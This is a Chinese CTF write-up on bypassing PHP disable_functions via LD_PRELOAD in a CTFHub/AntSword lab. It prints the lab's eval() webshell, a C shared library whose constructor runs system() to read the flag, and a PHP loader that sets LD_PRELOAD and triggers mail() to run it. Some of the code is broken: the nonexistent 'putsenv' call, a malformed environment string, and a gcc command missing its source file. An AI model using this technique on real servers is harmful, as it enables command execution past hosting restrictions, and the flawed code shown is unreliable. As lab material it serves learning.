WEB进阶
前言
大部分都是知识盲区,可能不会写的很好,大家凑合着看。
LD_PRELOAD
这个题目一开始就不是特别的懂,看了一些writeup之后才渐渐明白这题目所考察的知识点,下面就来讲讲吧。题目开始就提示我们要用LD_PRELOAD,这个是什么东西呢?
<!DOCTYPE html>
<html>
<head>
<title>CTFHub Bypass disable_function —— LD_PRELOAD</title>
</head>
<body>
<h1>CTFHub Bypass disable_function —— LD_PRELOAD</h1>
<p>本环境来源于<a href="https://github.com/AntSwordProject/AntSword-Labs">AntSword-Labs</a></p>
</body>
</html>
<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>
LD_PRELOAD是LINUX下的一个环境变量,用来装载一动态链接库,优先级很高。我们知道我们在编译程序的时候会发生重定向去库函数寻找相应的函数,然后加载到我们的程序当中,那么既然如此我们可不可以就是通过利用这个变量覆盖调我们程序所需要的同名或者其他的库函数的链接呢?当然是可以的,因为这个变量它的优先级比系统变量的优先级还高,执行的还早。
通过原代码,我看到有一个输入点,先用蚁剑连接上这个网站,查找之后发现有flag文件但是打不开。
既然flag在/flag文件当中,而且我们用不能打开这个文件,所以利用LD_PRELOAD这个变量,我们编写一个链接库文件.so放置在这个网页上(很多网友问为什么放在tmp上,根据我的感觉,再文件上传中文件会先放在tmp上再进行下一步操作),然后再编写一个PHP文件使用(引导)这个动态链接库文件。【这里的__attribute__((constructor))是做什么的呢?-------attribute((constructor)) 先于main()函数调用 】
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__ ((__constructor__)) void angel (void)
{
unsetenv("LD_PRELOAD"); //删除原来的环境变量
system("/readflag > /tmp/getflag.txt");//将所读文件放到tmp中的getflag.txt中
}
//命名为hack.c
然后编译为一个链接库:gcc -shared -fPIC -o flag.so,接着上传蚁剑的tmp文件夹。
编写shell.php引导程序,让我们的服务器先执行我们自定义的环境变量。
<?php
putsenv("LD_PRELOAD = /tmp/flag.so");//定义我们自己的环境变量
mail("", "", "", "");
error_log("",1,"","");
?>
启动一下我们编写的的shell.php运行我们设定的环境变量。
http://url:port/shell.php
或者
http://url:port/?ant=include('shell.php');
最后再tmp文件下的getflag.txt可拿到flag。